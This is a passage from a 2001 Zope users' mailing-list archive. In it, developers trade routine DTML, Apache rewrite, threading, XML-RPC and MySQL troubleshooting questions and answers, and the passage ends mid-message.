<3AFBEA26.C49624EA@iswt.com> Klaus Herrmann wrote: > > Hi! > > I have the following problem: > i have a dtml-tree listing the directory structure. but i want to be able to > define a property called "hidden" (bool) on folders. these hidden folders > mustn't appear in the tree. any ideas how this could be done? > > thank in advance! UNTESTED, stab at it: <dtml-tree branches_expr="objectValues(['Folder']) AND NOT is_hidden"> HTH, -- Tim Cook, President - FreePM,Inc. http://www.FreePM.com Office: (731) 884-4126 ONLINE DEMO: http://www.freepm.org:8080/FreePM From renfro@tntech.edu Fri May 11 15:20:28 2001 From: renfro@tntech.edu (Mike Renfro) Date: Fri, 11 May 2001 09:20:28 -0500 Subject: [Zope] Acting As a Regular Server In-Reply-To: <5.0.2.1.0.20010510160805.00a18950@thewebsons.com>; from zope@thewebsons.com on Thu, May 10, 2001 at 04:13:04PM -0700 References: <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> <5.0.2.1.0.20010510142726.00a06810@thewebsons.com> <20010510152921.J539@blanchardsite.com> <5.0.2.1.0.20010510160805.00a18950@thewebsons.com> Message-ID: <20010511092028.A31045@ch208d.cae.tntech.edu> On Thu, May 10, 2001 at 04:13:04PM -0700, Ben Ocean wrote: > how do I configure this in such a way that a client can click, for > example, http://AllMyJokes.com/ and be redirected to > http://TheWebsons.com:8080/allmyjokes/ with it being transparent to > the client? Do I do this in the <Directory> container or in the > <VirtualHost> container? The latter makes more sense to me, and > hence the confusion. Here's a stanza from my virtual host config (one Virtual Host Monster in the root of the ZODB, and apache running with mod_rewrite): <VirtualHost www.cae.tntech.edu> ServerName www.cae.tntech.edu DocumentRoot /var/www Alias /spong/rrd /var/lib/spong/rrd/www/ Alias /spong /usr/share/spong/www/ <IfModule mod_rewrite.c> RewriteEngine On RewriteLog "/var/log/apache/rewrite_log" RewriteLogLevel 1 RewriteRule ^/local/ - [L] RewriteRule ^/(.*) http://ch208h.cae.tntech.edu:9673/VirtualHostBase/http/www.cae.tntech.edu:80/CAE/VirtualHostRoot/$1 [e=HTTP_CGI_AUTHORIZATION:%1,P] </IfModule> </VirtualHost> In this case, everything on that site (with the exception of paths beginning with /local/) is redirected to the CAE folder in the root of my ZODB. -- Mike Renfro / R&D Engineer, Center for Manufacturing Research, 931 372-3601 / Tennessee Technological University -- renfro@tntech.edu From jcoruna@ibdosnorte.com Fri May 11 15:40:12 2001 From: jcoruna@ibdosnorte.com (=?iso-8859-1?Q?Juan_Carlos_Coru=F1a?=) Date: Fri, 11 May 2001 16:40:12 +0200 Subject: [Zope] Threads in ExternalMethods Message-ID: <PKEFLGEBLGPCKNPIENBJGEJJCJAA.jcoruna@ibdosnorte.com> Hi all, I am now trying to create an ExternalMethod that executes a long process (about 30 seconds) in a new thread and then this thread sends the result per e-mail. The ExternalMethod must return inmediatly. I need this behavior in order to not block the user while browsing. Are there anybody that can help me? From barry@digicool.com Fri May 11 15:44:55 2001 From: barry@digicool.com (Barry A. Warsaw) Date: Fri, 11 May 2001 10:44:55 -0400 Subject: [Zope] listservs, forums and Zope... References: <FBFF1B75591DDA4DA495C4D570EF008E0723DC@mangrove.abi.org> <Pine.LNX.4.21.0105101501410.2504-100000@olympus.scw.org> <15099.23030.881890.789580@anthem.wooz.org> <001901c0d9e7$82f1a080$33de1081@ita.chalmers.se> Message-ID: <15099.64231.601816.295952@anthem.wooz.org> >>>>> "DL" =3D=3D Dario Lopez-K=E4sten <dario@ita.chalmers.se> writes: DL> I'd be very interested in looking into this, but I need some DL> hints on where to start looking. Is there a description of how DL> mailman works internally or is it just a question of finding DL> tiume to "user the source, Luke"? Yup. =20 DL> Specifically, I'd like to start by getting users from a SQL DL> database, and being able to dynamically changes what lists a DL> user belongs to. The primary thing to realize with Mailman 2.x is that each mailing list maintains its own membership rosters. You might be a member of both zope@zope.org and zodb-dev@zope.org, but there's no sharing of your account information between those two lists. It's likely that Mailman 2.1 will contain hooks on a per-list basis so that an individual mailing list can get additional membership information out of an external source. Federating the user database in the way you want is a Project for Mailman 3.0. -Barry From chrism@digicool.com Fri May 11 15:53:01 2001 From: chrism@digicool.com (Chris McDonough) Date: Fri, 11 May 2001 10:53:01 -0400 Subject: [Zope] Threads in ExternalMethods References: <PKEFLGEBLGPCKNPIENBJGEJJCJAA.jcoruna@ibdosnorte.com> Message-ID: <00a701c0da2a$13e88120$8e17a8c0@kurtz> Hi Juan... you need to either fire off a new process or a new thread. See the Python documentation for more info about how to do this (the threading, thread, and os modules). ----- Original Message ----- From: "Juan Carlos Coruña" <jcoruna@ibdosnorte.com> To: <zope@zope.org> Sent: Friday, May 11, 2001 10:40 AM Subject: [Zope] Threads in ExternalMethods > Hi all, > > I am now trying to create an ExternalMethod that executes a long process > (about 30 seconds) in a new thread and then this thread sends the result per > e-mail. The ExternalMethod must return inmediatly. I need this behavior in > order to not block the user while browsing. > > Are there anybody that can help me? > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) > From barry@digicool.com Fri May 11 15:51:25 2001 From: barry@digicool.com (Barry A. Warsaw) Date: Fri, 11 May 2001 10:51:25 -0400 Subject: [Zope] listservs, forums and Zope... References: <FBFF1B75591DDA4DA495C4D570EF008E0723DC@mangrove.abi.org> <Pine.LNX.4.21.0105101501410.2504-100000@olympus.scw.org> <15099.23030.881890.789580@anthem.wooz.org> <3AFBAE2E.40B39EAF@nipltd.com> Message-ID: <15099.64621.575299.571654@anthem.wooz.org> >>>>> "CW" == Chris Withers <chrisw@nipltd.com> writes: CW> What are the chances of Mailman becoming a 'Zope App'? >From conversations with Jim, it sounds like he wants to return to the days when it was really easy to take an arbitrary Python app, write a bit of adapter code, and suddenly it becomes a Zope application. In that sense, and with some of the pluggable architecture I'm contemplating for the future, I think it should happen. OTOH, I don't want Mailman to be `just' a Zope app. The balance is in making it much easier for Zope and Mailman to be integrated without raising the entry bar for Mailman too high for non-Zope sites. CW> Incidentally, on of the things I'm hoping for with Swishdot is CW> to make it more of a cross between a weblog and a mailing list CW> so I wonder if there's an opportunity for collaboration here? Definitely! We should probably have that conversation on mailman-developers@python.org, or at least crosspost it. Don't forget about the Mailman wiki: http://www.zope.org/Members/bwarsaw/MailmanDesignNotes/FrontPage -Barry From arno.gross@consotec.de Fri May 11 17:05:25 2001 From: arno.gross@consotec.de (Arno Gross) Date: Fri, 11 May 2001 15:05:25 -0100 Subject: [Zope] Zcatalog query In-Reply-To: <988883.989585089529.JavaMail.imail@loosy.excite.com> References: <988883.989585089529.JavaMail.imail@loosy.excite.com> Message-ID: <01051115080400.06448@force> I am not sure if you mean a predefined or stored query. For this you can call: <dtml-in "Catalog({'numero_doc','thedoc'})" size=50 start=query_start> For more details have a look at Chap 9 of the Zope Book. Best regards Arno On Fri, 11 May 2001, Sebal wrote: > I have 2 dtml method in my Catalog folder : > > -----search_html---- > <dtml-var standard_html_header> > <form action="report" method="get"> > <h2><dtml-var document_title></h2> > Enter query parameters:<br><table> > <tr><th>Numero doc</th> > <td><input name="numero_doc" > width=30 value=""></td></tr> > <tr><td colspan=2 align=center> > <input type="SUBMIT" name="SUBMIT" value="Submit Query"> > </td></tr> > </table> > </form> > <dtml-var standard_html_footer> > -------------------- > and > -----report_html---- > <dtml-var standard_html_header> > <dtml-in Catalog size=50 start=query_start> > <table border> > <tr> > <th>Title</th> > <th>Meta type</th> > <th>Id</th> > <th>Summary</th> > <th>Bobobase modification time</th> > <th>Data record id </th> > </tr> > </table> > <dtml-else> > There was no data matching this <dtml-var title_or_id> query. > </dtml-in> > <dtml-var standard_html_footer> > ------------------ > > <dtml-in Catalog size=50 start=query_start> is called in the context of > "numero_doc". I'd like to know if it's possible to create a context for this > query without passing by a form/submit. > I thought to use <dtml-with> or <dtml-in> but I don't have the right syntax. > THANX... > > () > / \ > | <> | > (____) zazen rules ... SBALINE > > > > > > _______________________________________________________ > Send a cool gift with your E-Card > http://www.bluemountain.com/giftcenter/ > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From mail@peterbe.com Fri May 11 15:43:29 2001 From: mail@peterbe.com (Peter Bengtsson) Date: Fri, 11 May 2001 16:43:29 +0200 Subject: [Zope] French language problems Message-ID: <017e01c0da2b$49e2c0a0$1c64a8c0@PBN> I want to "filter" the user input a bit. If somebody submits name="éèà", in the end I want: name="eea" So I tried this: <pseudo atr="filling in the input name='é'"> print self.REQUEST['name'], 'é' print self.REQUEST['name'] == 'é' </pseudo> This returns '\303\251', 'é' 0 Basically, how do I compare self.REQUEST['name'] with 'é' and get true? (assuming the name variable is set to "é". (you understand what I mean) Any hints of the right approach? Peter From jcoruna@ibdosnorte.com Fri May 11 16:06:31 2001 From: jcoruna@ibdosnorte.com (=?iso-8859-1?Q?Juan_Carlos_Coru=F1a?=) Date: Fri, 11 May 2001 17:06:31 +0200 Subject: [Zope] Threads in ExternalMethods In-Reply-To: <00a701c0da2a$13e88120$8e17a8c0@kurtz> Message-ID: <PKEFLGEBLGPCKNPIENBJKEJKCJAA.jcoruna@ibdosnorte.com> Yes, I have fired off a new thread and passed it in the contructor the se= lf variable. It seems to be problems in referencing other zope methods from within the new started thread. Here is my example, I call the listaArticulos method: def listaArticulos(self, REQUEST, RESPONSE): generando =3D GenerarEnviarListaPrecios(self, REQUEST, RESPONSE) generando.start() return 1 def longProcess(context): # long process for example: return context.context.myZopeSqlMethod() class GenerarEnviarListaPrecios(Thread): def __init__(self, context, REQUEST, RESPONSE): Thread.__init__(self) self.context =3D context self.REQUEST =3D REQUEST self.RESPONSE =3D RESPONSE def run(self): result =3D longProcess(self.context) .... mail result .... return > -----Mensaje original----- > De: Chris McDonough [mailto:chrism@digicool.com] > Enviado el: viernes, 11 de mayo de 2001 16:53 > Para: Juan Carlos Coru=F1a; zope@zope.org > Asunto: Re: [Zope] Threads in ExternalMethods > > > Hi Juan... you need to either fire off a new process or a new thread. = See > the Python documentation for more info about how to do this (the > threading, > thread, and os modules). > > ----- Original Message ----- > From: "Juan Carlos Coru=F1a" <jcoruna@ibdosnorte.com> > To: <zope@zope.org> > Sent: Friday, May 11, 2001 10:40 AM > Subject: [Zope] Threads in ExternalMethods > > > > Hi all, > > > > I am now trying to create an ExternalMethod that executes a long proc= ess > > (about 30 seconds) in a new thread and then this thread sends the res= ult > per > > e-mail. The ExternalMethod must return inmediatly. I need this > behavior in > > order to not block the user while browsing. > > > > Are there anybody that can help me? > > > > > > _______________________________________________ > > Zope maillist - Zope@zope.org > > http://lists.zope.org/mailman/listinfo/zope > > ** No cross posts or HTML encoding! ** > > (Related lists - > > http://lists.zope.org/mailman/listinfo/zope-announce > > http://lists.zope.org/mailman/listinfo/zope-dev ) > > From magnus/Websys@websys.no Fri May 11 16:06:52 2001 From: magnus/Websys@websys.no (magnus/Websys@websys.no) Date: Fri, 11 May 2001 17:06:52 +0200 Subject: [Zope] xmlrpc slowness Message-ID: <H000006800013094.0989592597.sjef.websys.no@MHS> We're busy developing an application that uses Zope for its presentation layer. To communicate with the 'business logic' Java layer, we use xml-rpc with Zope as the client. It works fine, but seems to be slightly slow. Each and every xml-rpc transaction takes appx. 3/10 of a second. I have installed sgmlop, and that improved matters (from 7/10 of a second) - can anyone suggest how to make further improvements? I haven't done any real testing, but most of the time seems to be spent on the Zope side, the xml-rpc handling in Java is pretty quick. -Magnus From lists@kassube.de Fri May 11 14:06:59 2001 From: lists@kassube.de (Nils Kassube) Date: Fri, 11 May 2001 15:06:59 +0200 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <Pine.LNX.4.33.0105111637440.2448-100000@phd.fep.ru>; from phd@phd.fep.ru on Fri, May 11, 2001 at 04:38:28PM +0400 References: <20010511134235.B6143@kursk.kassube.de> <Pine.LNX.4.33.0105111637440.2448-100000@phd.fep.ru> Message-ID: <20010511150659.A6887@kassube.de> On Fri, May 11, 2001 at 04:38:28PM +0400, Oleg Broytmann wrote: > I want to put zope- and zope-announce lists into one folder, and > zope-dev into another. Those [Zope] et al help me much. This is very easy with a simple addition to the regular expression. You simply look for an optional part (-announce). I don't understand how this could be easier with text in the subject header. It looks like the same amount of work, except that [Zope] in every subject line wastes precious screen space. :-) Cheers, Nils From augusto@artlover.com Fri May 11 16:18:37 2001 From: augusto@artlover.com (Ausum) Date: Fri, 11 May 2001 10:18:37 -0500 Subject: [Zope] Namespace problem with folders starting with numbers Message-ID: <3AFC02CD.1DA863B9@artlover.com> I need to retrieve a property nested at a document placed within folders whose names start with numbers. Like this: <dtml-var "folder1.2000.12345.dtmldoc.this_property"> This sintax is invalid because there are object names that are starting with numbers, within the Python expression. Is there a workaround? (I've tried the usual ones, unsuccessfully). Ausum From Oleg Broytmann <phd@phd.fep.ru> Fri May 11 16:19:46 2001 From: Oleg Broytmann <phd@phd.fep.ru> (Oleg Broytmann) Date: Fri, 11 May 2001 19:19:46 +0400 (MSD) Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <20010511150659.A6887@kassube.de> Message-ID: <Pine.LNX.4.33.0105111918330.2448-100000@phd.fep.ru> On Fri, 11 May 2001, Nils Kassube wrote: > This is very easy with a simple addition to the regular expression. You simply > look for an optional part (-announce). I don't understand how this could be > easier with text in the subject header. It looks like the same amount of work, > except that [Zope] in every subject line wastes precious screen space. I didn't say it is impossible at all. I said it is possible, but [Zope] in subject makes it simpler. I don't consider this as "unneccessary redundant and ugly" :) Oleg. ---- Oleg Broytmann http://www.zope.org/Members/phd/ phd@phd.pp.ru Programmers don't die, they just GOSUB without RETURN. From tdickenson@geminidataloggers.com Fri May 11 16:40:18 2001 From: tdickenson@geminidataloggers.com (Toby Dickenson) Date: Fri, 11 May 2001 16:40:18 +0100 Subject: [Zope] xmlrpc slowness In-Reply-To: <H000006800013094.0989592597.sjef.websys.no@MHS> References: <H000006800013094.0989592597.sjef.websys.no@MHS> Message-ID: <9r1oft4tpc26khavtgu0v5lrf2p6rcir51@4ax.com> On Fri, 11 May 2001 17:06:52 +0200, magnus/Websys@websys.no wrote: >We're busy developing an application that uses Zope for its presentation= =20 >layer. To communicate with the 'business logic' Java layer, we use = xml-rpc=20 >with Zope as the client. How much data are you marshalling?=20 >It works fine, but seems to be slightly slow. Each and every xml-rpc=20 >transaction takes appx. 3/10 of a second. I have installed sgmlop, and = that=20 >improved matters (from 7/10 of a second) - can anyone suggest how to = make=20 >further improvements? Ive been using xmlrpc with parameters and return values that involve lists with 1000's of elements - 300ms is not unreasonable. If you are marshalling smaller things then it should be faster. >I haven't done any real testing, Do some. Zope's profiler should give you the answers you need. Toby Dickenson tdickenson@geminidataloggers.com From sean.upton@uniontrib.com Fri May 11 16:49:56 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 08:49:56 -0700 Subject: [Zope] Namespace problem with folders starting with numbers Message-ID: <AA7A72A46469D411B8B300508BE3295035B2FF@desi2> use: <dtml-var expr="folder1._['2000']... etc to reference an object with an id; should work, though I think this only works in an expr within dtml-var and not name=... Sean -----Original Message----- From: Ausum [mailto:augusto@artlover.com] Sent: Friday, May 11, 2001 8:19 AM To: zope@zope.org Subject: [Zope] Namespace problem with folders starting with numbers I need to retrieve a property nested at a document placed within folders whose names start with numbers. Like this: <dtml-var "folder1.2000.12345.dtmldoc.this_property"> This sintax is invalid because there are object names that are starting with numbers, within the Python expression. Is there a workaround? (I've tried the usual ones, unsuccessfully). Ausum _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From phil.harris@zope.co.uk Fri May 11 16:53:22 2001 From: phil.harris@zope.co.uk (Phil Harris) Date: Fri, 11 May 2001 16:53:22 +0100 Subject: [Zope] xmlrpc slowness References: <H000006800013094.0989592597.sjef.websys.no@MHS> <9r1oft4tpc26khavtgu0v5lrf2p6rcir51@4ax.com> Message-ID: <020e01c0da32$822051b0$5c773fc1@media1> There is another Python based XMLRPC library available on sourceforge, also linked on xmlrpc.com. This library is written in C and the author says that it is some magnitude faster than xmlrpclib. The catch? It won't work with zope without some manipulation, cos the author hardcoded the case on the HTTP headers, afaik this is not strictly kosher as the headers can be any case (UPPER, lower or Mixed). Might be worth a look though. Phil ----- Original Message ----- From: "Toby Dickenson" <tdickenson@devmail.geminidataloggers.co.uk> To: <magnus/Websys@websys.no> Cc: <zope@zope.org> Sent: Friday, May 11, 2001 4:40 PM Subject: Re: [Zope] xmlrpc slowness > On Fri, 11 May 2001 17:06:52 +0200, magnus/Websys@websys.no wrote: > > >We're busy developing an application that uses Zope for its presentation > >layer. To communicate with the 'business logic' Java layer, we use xml-rpc > >with Zope as the client. > > How much data are you marshalling? > > >It works fine, but seems to be slightly slow. Each and every xml-rpc > >transaction takes appx. 3/10 of a second. I have installed sgmlop, and that > >improved matters (from 7/10 of a second) - can anyone suggest how to make > >further improvements? > > Ive been using xmlrpc with parameters and return values that involve > lists with 1000's of elements - 300ms is not unreasonable. If you are > marshalling smaller things then it should be faster. > > >I haven't done any real testing, > > Do some. Zope's profiler should give you the answers you need. > > > > Toby Dickenson > tdickenson@geminidataloggers.com > > _______________________________________________ > Zope maillist - Zope@zope.org > http://lists.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://lists.zope.org/mailman/listinfo/zope-announce > http://lists.zope.org/mailman/listinfo/zope-dev ) From sean.upton@uniontrib.com Fri May 11 17:05:10 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 09:05:10 -0700 Subject: [Zope] Namespace problem with folders starting with numbers Message-ID: <AA7A72A46469D411B8B300508BE3295035B300@desi2> Ok. Sorry to jump to quickly on that one; I am partially wrong. <dmtl-var expr="_['2000'].id"> will work; so will <dtml-in expr="_['2000'].objectValues()"> (returns a sequence). However, in the case of something like this: <dtml-var expr="_['5000']._['5100'].id"> Zope has some security/permissions issue with that (when I try to run a method with code like this as a manager, I get a basic auth box?). I assume that the workaround would have to be using dtml-with one namespace at a time... That is, unless someone has a better way to do this. Sean -----Original Message----- From: Upton, Sean Sent: Friday, May 11, 2001 8:50 AM To: 'Ausum'; zope@zope.org Subject: RE: [Zope] Namespace problem with folders starting with numbers use: <dtml-var expr="folder1._['2000']... etc to reference an object with an id; should work, though I think this only works in an expr within dtml-var and not name=... Sean -----Original Message----- From: Ausum [mailto:augusto@artlover.com] Sent: Friday, May 11, 2001 8:19 AM To: zope@zope.org Subject: [Zope] Namespace problem with folders starting with numbers I need to retrieve a property nested at a document placed within folders whose names start with numbers. Like this: <dtml-var "folder1.2000.12345.dtmldoc.this_property"> This sintax is invalid because there are object names that are starting with numbers, within the Python expression. Is there a workaround? (I've tried the usual ones, unsuccessfully). Ausum _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From glenfant@bigfoot.com Fri May 11 17:07:51 2001 From: glenfant@bigfoot.com (Gilles Lenfant) Date: Fri, 11 May 2001 18:07:51 +0200 Subject: [Zope] [REQ] Squishdot 0.3.2 Message-ID: <06de01c0da34$8924d1a0$0301a8c0@provence> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_06DB_01C0DA45.4B6CBD30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi, I need to migrate/upgrade an old Zope/Squishdot to a new server with the = latest versions of Zope Squishdot. I failed importing directly the posts. So I need to have the Old = Squishdot 0.3.2 an migrate progressively to the latest version. 1/ Has somebody got aroadmap for doing this safely. 2/ Who can send me a tgz of Squishdot 0.3.2. (Can't find it at squishdot = or zope sites!) Thanks in advance ! Gilles ------=_NextPart_000_06DB_01C0DA45.4B6CBD30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <HTML><HEAD> <META content=3D"text/html; charset=3Diso-8859-1" = http-equiv=3DContent-Type> <META content=3D"MSHTML 5.00.3018.900" name=3DGENERATOR> <STYLE></STYLE> </HEAD> <BODY bgColor=3D#ffffff> <DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>I need to migrate/upgrade an old = Zope/Squishdot to=20 a new server with the latest versions of Zope Squishdot.</FONT></DIV> <DIV><FONT face=3DArial size=3D2>I failed importing directly the posts. = So I need to=20 have the Old Squishdot 0.3.2 an migrate progressively to the latest=20 version.</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>1/ Has somebody got aroadmap for doing = this=20 safely.</FONT></DIV> <DIV><FONT face=3DArial size=3D2>2/ Who can send me a tgz of Squishdot = 0.3.2. (Can't=20 find it at squishdot or zope sites!)</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Thanks in advance !</FONT></DIV> <DIV> </DIV> <DIV><FONT face=3DArial size=3D2>Gilles</FONT></DIV></BODY></HTML> ------=_NextPart_000_06DB_01C0DA45.4B6CBD30-- From charlie@blanchardsite.com Fri May 11 17:15:46 2001 From: charlie@blanchardsite.com (Charlie Blanchard) Date: Fri, 11 May 2001 09:15:46 -0700 Subject: [Zope] [OT] subject headings/clarification In-Reply-To: <ufae4k168r.fsf@westkapp.fte.to>; from ftelist@lightwerk.com on Fri, May 11, 2001 at 01:21:08PM +0200 References: <Pine.LNX.4.21.0105071502130.31531-100000@localhost.localdomain> <871ypy9pfg.fsf@joyful.com> <87snie86iz.fsf@joyful.com> <ufae4k168r.fsf@westkapp.fte.to> Message-ID: <20010511091546.U539@blanchardsite.com> On Fri, May 11, 2001 at 01:21:08PM +0200, Frank Tegtmeyer wrote: > Michel Pelletier <michel@digicool.com> writes: > > > everyone else are welcome to continue to discuss it and you don't need my > > consent or permission to do so. > > My opinion: Putting the list name into the subject is totally > redundant and ugly. > well, i use mutt in order to handle the huge volume of emails. but i pull mail from my pop3 server into a single folder without presorting via procmail as many others do. i like to be able to scan the subjects rapidly all in one folder and the only way to quickly distinguish which list a particular message pertains to is with those _ugly_ _outdated_ _useless_ subject line identifiers. it would make my life _much_ less productive if they went away... frankly, i would think other issues of subject line 'abuse' would be much more relevant than complaining about something that actually _helps_ even a few people. just another $0.02, er well, maybe $0.03... cheers, > Everybody who gets mailinglists will sort them into folders (at > least). A mail client that is only able to filter for subjects is > broken and shouldn't be used. > > There are many good mail clients out there, even for the Windows and > Macintosh world, so there is nearly no excuse not to use them. Rigid > corporate environments are out of course. > -- charlie blanchard http://baldguru.com/ LosAngeles area Zope Users Group http://lazug.org From Oliver Bleutgen <myzope@gmx.net> Fri May 11 17:05:07 2001 From: Oliver Bleutgen <myzope@gmx.net> (Oliver Bleutgen) Date: Fri, 11 May 2001 18:05:07 +0200 Subject: [Zope] Namespace problem with folders starting with numbers Message-ID: <E14yFaB-0004fg-00@mail.python.org> > Ok. Sorry to jump to quickly on that one; I am partially wrong. > <dmtl-var expr="_['2000'].id"> will work; so will <dtml-in > expr="_['2000'].objectValues()"> (returns a sequence). > However, in the case of something like this: > <dtml-var expr="_['5000']._['5100'].id"> try <dtml-var expr="_['5000']['5100'].id"> cheers, oliver From laurien@tiger.bcm.tmc.edu Fri May 11 17:28:29 2001 From: laurien@tiger.bcm.tmc.edu (Laurie Nason) Date: Fri, 11 May 2001 11:28:29 -0500 Subject: [Zope] Zserver shutting down - Broken Pipe Message-ID: <NFBBIFLELKMLLIEKAAOKCEDHCCAA.laurien@tiger.bcm.tmc.edu> Just over the last couple of days I have been having the same problem with one of our Zope development servers. It starts up fine, then after a while (undetermined as of the moment)the ZServer will just hang (error messages etc. below). I have created/am still creating my own ZClass on this server if that has anything to do with it. I haven't installed any external products (yet). Here are the stats on the server: Athlon 1200 512MB Linux Mandrake 7.2 Zope Version : Zope 2.3.2 (binary release, python 1.5.2, linux2-x86) Python Version: 1.5.2 (#10, Dec 6 1999, 12:16:27) [GCC 2.7.2.3] System Platform: linux2 Here is the STUPID_LOG_FILE output that occurred before the crash: 2001-05-11T16:12:59 ERROR(200) ZServer uncaptured python exception, closing channel <select-trigger (pipe) at 81a8178> (exceptions.OSError:[Errno 11] Resource temporarily unavailable [/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/asyncore.py|poll|83] [/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/asyncore.py|handle_read_even t|335] [/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/select_trigger.py|handle_rea d|77] [/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/asyncore.py|recv|287] [/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/asyncore.py|recv|475]) The output in the shell that started zope reads (this is repeated a few times before the final crash): Unhandled exception in thread: Traceback (innermost last): File "/var/zope/Zope-2.3.2-linux2-x86/ZServer/PubCore/ZServerPublisher.py", line 97, in __init__ response._finish() File "/var/zope/Zope-2.3.2-linux2-x86/ZServer/HTTPResponse.py", line 281, in _finish stdout.close() File "/var/zope/Zope-2.3.2-linux2-x86/ZServer/HTTPResponse.py", line 338, in close Wakeup() File "/var/zope/Zope-2.3.2-linux2-x86/ZServer/medusa/select_trigger.py", line 74, in pull_trigger os.write (self.trigger, 'x') OSError: [Errno 32] Broken pipe Anybody come across this before??? Laurie Laurie Nason Dept. of Biochemistry - N420 Baylor College of Medicine Houston. TX77030 From kevinsl@yahoo.com Fri May 11 17:33:09 2001 From: kevinsl@yahoo.com (Kevin L) Date: Fri, 11 May 2001 09:33:09 -0700 (PDT) Subject: [Zope] DTML - change document title? Message-ID: <20010511163309.31374.qmail@web9603.mail.yahoo.com> I know this is probably really easy but I can't find it anywhere in the docs. I have a dtml document that needs to have a different title every time (based on a database call). How can I set the title attribute from dtml? thanks much -Kevin __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From kevinsl@yahoo.com Fri May 11 18:02:20 2001 From: kevinsl@yahoo.com (Kevin L) Date: Fri, 11 May 2001 10:02:20 -0700 (PDT) Subject: [Zope] problem selecting integers from mysql Message-ID: <20010511170220.30137.qmail@web9608.mail.yahoo.com> Hi, I have a Z SQL Method and one of the columns it selects is of type "int(11) unsigned". But when I test the query I get the number plus an "L" appended to the end. For example I get 1L, 32L, 6533L. I assume the L means longint but does anyone know how to get rid of it? thanks much -Kevin __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From sean.upton@uniontrib.com Fri May 11 18:16:51 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 10:16:51 -0700 Subject: [Zope] Disappearing images in python product... Message-ID: <AA7A72A46469D411B8B300508BE3295035B301@desi2> I have a class in a python product that defines the following: manage_admain = Globals.HTMLFile('dtml/editForm', globals()) editad_image = Globals.ImageFile('images/editad.png', globals()) Within dtml/editForm.dtml: <dtml-var editad_image> I used this to display an image within a managment interface page I had set up. The image won't load (it is missing). This used to work, but at some point recently became broken. I'm not sure why; I can't pinpoint exactly when it happened. At some point, I changed the meta-type of this class, but I think that is all I have really done... Thoughts? Sean ========================= Sean Upton Senior Programmer/Analyst SignOnSanDiego.com The San Diego Union-Tribune 619.718.5241 sean.upton@uniontrib.com ========================= From sean.upton@uniontrib.com Fri May 11 18:18:14 2001 From: sean.upton@uniontrib.com (sean.upton@uniontrib.com) Date: Fri, 11 May 2001 10:18:14 -0700 Subject: [Zope] problem selecting integers from mysql Message-ID: <AA7A72A46469D411B8B300508BE3295035B302@desi2> put int() around your results; it will convert a longint to an integer. Sean -----Original Message----- From: Kevin L [mailto:kevinsl@yahoo.com] Sent: Friday, May 11, 2001 10:02 AM To: zope@zope.org Subject: [Zope] problem selecting integers from mysql Hi, I have a Z SQL Method and one of the columns it selects is of type "int(11) unsigned". But when I test the query I get the number plus an "L" appended to the end. For example I get 1L, 32L, 6533L. I assume the L means longint but does anyone know how to get rid of it? thanks much -Kevin __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ _______________________________________________ Zope maillist - Zope@zope.org http://lists.zope.org/mailman/listinfo/zope ** No cross posts or HTML encoding! ** (Related lists - http://lists.zope.org/mailman/listinfo/zope-announce http://lists.zope.org/mailman/listinfo/zope-dev ) From hank@broughton-sys.com Fri May 11 18:25:22 2001 From: hank@broughton-sys.com (Hank Bowry) Date: Fri, 11 May 2001 13:25:22 -0400 Subject: [Zope] the mysterious shutdown thing Message-ID: <702380C7ED26D511B91500805F149EE9165E80@mail.broughton-sys.com> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C0DA3F.5C1579C0 Content-Type: text/plain > concerning this thread... > > I'm experiencing very, very similar symptoms. I have zope installed with > the newest src 2.3.2 (i think) running with apache and pcgi and have been > having periodic shutdowns of zope.....I've been tailing the logs for apache > and zope, and the only thing is after zope goes down, apache logs that it > can't be reached....restarting zope works fine, and everything marches > on.....unfortunately this can't be the case after our projected june 1st > lauch of the a website.....I'd love to find the solution to this problem, or > any hints about where or what to log to even identify the cause. > > we are running zope 2.3.2 in /opt/zope with apache from the SuSE 7.1 > distribution....I've loaded the mod_python, and php, and backhand and some > others, but I think only the pcgi and python have anything to do with > zope... > > on top of the basic installation, > I have installed 